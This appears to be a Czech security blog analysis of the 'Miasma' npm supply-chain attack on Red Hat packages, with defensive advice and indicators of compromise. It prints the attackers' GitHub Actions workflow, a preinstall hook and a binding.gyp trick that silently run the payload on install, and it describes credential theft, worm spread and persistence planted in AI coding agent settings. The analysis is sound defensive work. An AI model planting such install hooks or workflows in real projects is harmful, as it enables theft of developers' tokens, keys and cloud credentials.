Kyberzápisník #21 npm supply chain útok Miasma: jak útočníci napadli oficiální balíčky Red Hatu

npm supply chain útok Miasma: útočníci kompromitovali 30+ oficiálních balíčků Red Hatu a kradli cloud credentials, SSH klíče a CI/CD tokeny. Technická analýza.

1. června 2026 bezpečnostní výzkumníci ze společností Wiz, Aikido, JFrog, Socket a OX Security nezávisle na sobě odhalili supply chain útok na npm namespace @redhat-cloud-services. Útočníci do více než 30 legitimních balíčků podstrčili credential-stealing malware s názvem Miasma — variantu rodiny Shai-Hulud. Kompromitované balíčky si stahuje přibližně 80 000 až 117 000 uživatelů týdně.

Není to typosquatting. Není to falešný balíček s podobným názvem. Jsou to originální balíčky Red Hatu, publikované pod legitimním kanálem — jen s přidaným škodlivým kódem.


Kontext: rodina Shai-Hulud a otevřený zdrojový kód malwaru

Než se dostaneme k samotnému útoku, je potřeba pochopit, odkud Miasma přišla.

  1. dubna 2026 byl poprvé zaznamenán malware Shai-Hulud — útok na @bitwarden/cli na npm s podpisem „Shai-Hulud: The Third Coming“ (odkaz na písečné červy z Duny). Během dubna a května následovaly další vlny: SAP npm balíčky, PyTorch Lightning na PyPI, více než 160 npm balíčků včetně utilit pro Mistral a TanStack, a Microsoft DurableTask.
  2. května 2026 skupina TeamPCP zveřejnila kompletní zdrojový kód Shai-Hulud na GitHubu a zároveň ho propagovala na BreachForums s výzvou k samostatným kampaním. Od zveřejnění zdrojáku k útoku Miasma uplynuly přesně tři týdny.

To je klíčový bod: Miasma není nutně dílem TeamPCP. Může jít o zcela jiného aktéra, který si otevřený kód upravil. Atribuce je v tomto případě nejistá — a to záměrně.


Jak npm supply chain útok proběhl: kompromitace GitHub účtu

Red Hat vydal bezpečnostní bulletin RHSB-2026-006, ve kterém potvrdil, že byl kompromitován GitHub účet jednoho konkrétního zaměstnance. Přes tento účet útočník vložil škodlivé commity do tří repozitářů pod organizací RedHatInsights.

Průběh útoku probíhal ve dvou vlnách:

První vlna — 10:53 UTC:

  • RedHatInsights/frontend-components — commit 8bf051251ec3b973e39a313547e53421a2f8d2f6
  • RedHatInsights/javascript-clients — commit 608d01124cd6b5b8c55888e984b4c4d9b06fa686
  • RedHatInsights/platform-frontend-ai-toolkit

Druhá vlna — 13:44 UTC:

  • Opět tytéž tři repozitáře, nové větve s prefixem oidc-*

Každá vlna byla detekována s přibližně hodinovým zpožděním. Celkem bylo kompromitováno 95–96 verzí balíčků.

Commity přidaly minimalistický GitHub Actions workflow, který vypadá takto:

yaml

name: release
on:
  push:
    branches: ['*']
jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
      - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
      - name: prepare
        run: bun run _index.js
        env:
          OIDC_PACKAGES: "@redhat-cloud-services/frontend-components, ..."

Workflow se spustí při push na jakoukoliv větev (branches: ['*']), vyžádá si GitHub OIDC token (id-token: write) a spustí obfuskovaný payload _index.js. Ten token pak použil k legitimnímu publikování kompromitovaných verzí na npm — včetně platných SLSA provenance attestací.

Tady je zákeřnost celé věci: balíčky byly podepsané, měly provenance, pocházely z legitimního namespace. Standardní bezpečnostní kontroly by je prošly.


Technický popis: jak malware funguje

Spuštění při instalaci

Kompromitované balíčky mají v package.json přidaný preinstall hook:

json

{
  "name": "@redhat-cloud-services/types",
  "version": "3.6.1",
  "scripts": {
    "preinstall": "node index.js"
  }
}

Malware se spustí dříve, než aplikace cokoliv importuje z balíčku — tedy při pouhém npm install. To platí i pro CI/CD pipeline.

Druhá, evasivnější varianta (popsána JFrogem 4. června) zneužívá binding.gyp. Pokud balíček obsahuje tento soubor a nemá explicitní preinstall v package.json, npm automaticky spustí node-gyp rebuild. Útočníci to využívají takto:

json

{
  "targets": [{
    "target_name": "Setup",
    "type": "none",
    "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
  }]
}

Výsledek je stejný — index.js se spustí při konfiguraci balíčku, tiše, bez záznamu v lifecycle hooks.

Obfuskace a staging

Payload prochází čtyřmi vrstvami skrytí:

  1. Numerické pole znaků, ze kterého se rekonstruuje JavaScript
  2. ROT-style transform pro zakrytí před statickými skenery
  3. Dešifrování dvou AES-128-GCM blobů (hardcoded klíče: fe0d71d57ecf4fa0a433185bf59a03f5, f5e5dca9b725ec18514c4b322ed35d2b)
  4. Dočasné uložení payloadu do /tmp/p<random>.js a spuštění přes Bun runtime, po spuštění soubor smazán

Pokud Bun není přítomen, malware si ho stáhne z GitHub releases (verze bun-v1.3.13). Pro detekci to znamená neobvyklý řetěz: npm install → node → curl + unzip → bun run /tmp/p<random>.js.

Miasma oproti předchozím vlnám Shai-Hulud navíc generuje pro každou infekci unikátně zašifrovaný payload. Hash-based IOC tedy funguje jen pro konkrétní verzi balíčku.

Co malware krade

Payload sbírá:

  • GitHub tokeny a tokeny GitHub Actions (z paměti runneru přes /proc/mem)
  • npm a PyPI publish tokeny
  • SSH klíče
  • AWS, Google Cloud a Azure credentials (nové v Miasma variantě — sbírají se všechny dostupné cloud identity)
  • HashiCorp Vault tokeny
  • Kubernetes tokeny
  • Docker credentials
  • GPG klíče
  • Soubory .env

Zajímavé je cílení na AI nástroje: malware instaluje perzistenci do ~/.claude/settings.json a podobných konfiguračních souborů AI coding agentů.

Exfiltrace

Data odcházejí přes endpoint maskovaný jako legitimní Anthropic API (/v1/api cesta na Anthropic hostu jako camouflage) — předchozí vlny používaly endpoint maskovaný jako telemetrie. GitHub dead-drop repozitáře nesou description Miasma: The Spreading Blight.

Šíření

Malware je worm: po získání npm tokenů dotáže npm registry, na které další balíčky má kompromitovaný vývojář publish práva, a pokusí se rozšířit do nich.


Co Red Hat tvrdí a co to znamená

Red Hat ve svém prohlášení uvedl, že kompromitované balíčky jsou určeny pouze pro interní vývoj a škodlivý kód se nedostal k zákazníkům přes console.redhat.com. Produkční systémy prý nebyly zasaženy.

To je v zásadě credibilní — balíčky jako @redhat-cloud-services/frontend-components jsou skutečně interní tooling, ne distribuce zákazníkům. Ale „nezjistili jsme žádný dopad“ je prohlášení vydané v den incidentu, nikoliv závěr po forenzní analýze. S 80–117 tisíci stažení týdně je pravděpodobné, že někteří vývojáři kompromitovanou verzi stáhli do svého CI/CD. Red Hat o tom nemusí vědět.

Malicious verze byly z npm odstraněny do odpoledne 1. června — první vlna detekce přišla od Wiz, Aikido a Socket přibližně hodinu po každém commitu.


Proč je tento útok důležitější než typický ransomware

Ransomwarový útok je viditelný okamžitě — systémy přestanou fungovat, soubory jsou zašifrované. Supply chain útok přes npm je jiný: developer na svém laptopu nebo v CI/CD pipeline spustí npm install, nic nefunguje jinak, ale útočník má tokeny, SSH klíče a cloud credentials.

Jeden kompromitovaný npm token může vést k dalším kompromitovaným balíčkům. Jeden GitHub token může přepsat kód v dalších repozitářích. Cloud credentials mohou znamenat přístup k produkčním databázím nebo infrastruktuře. A nic z toho nevyvolá alert v monitoringu zaměřeném na šifrování nebo exfiltraci velkých dat.

Miasma je navíc příkladem toho, co se stane, když někdo zveřejní zdrojový kód útočného nástroje. TeamPCP otevřel Shai-Hulud 12. května. Za tři týdny byl refinovaný, více obfuskovaný a lépe vybavený variant nasazen proti Red Hatu. Bariéra vstupu pro supply chain útoky na npm klesla na úroveň „umíš číst kód a máš jeden kompromitovaný GitHub účet.“


Jak se bránit

Pro vývojáře a DevOps týmy:

Pokud jste v posledních dnech před 1. červnem 2026 instalovali jakýkoliv balíček z namespace @redhat-cloud-services, zkontrolujte verze. Plný seznam IOC balíčků je dostupný v analýzách JFrog, Wiz a Socket.

Obecná doporučení:

  • Auditujte preinstall skripty v package.json — type-only balíček nepotřebuje spouštět JavaScript před instalací
  • Sledujte neobvyklé síťové spojení z CI/CD runnerů, zejména curl a bun po npm install
  • Omezte publish práva npm tokenů na minimum — worm se šíří právě přes tokeny s příliš širokými oprávněními
  • Zvažte přechod na npm install --ignore-scripts pro produkční buildy (s vědomím, že část legitímního software přestane fungovat)
  • Zkontrolujte GitHub Actions workflows v repozitářích — konkrétně hledejte id-token: write kombinované s branches: ['*'] a spuštěním externího skriptu

IOC — hardcoded hodnoty identifikované výzkumníky

AES-128-GCM klíče (JFrog):

  • fe0d71d57ecf4fa0a433185bf59a03f5
  • f5e5dca9b725ec18514c4b322ed35d2b

GitHub dead-drop marker:

  • Repozitory description: Miasma: The Spreading Blight

Bun verze použitá pro bootstrap:

  • bun-v1.3.13

Zdroje:

Leave a Reply

Vaše e-mailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *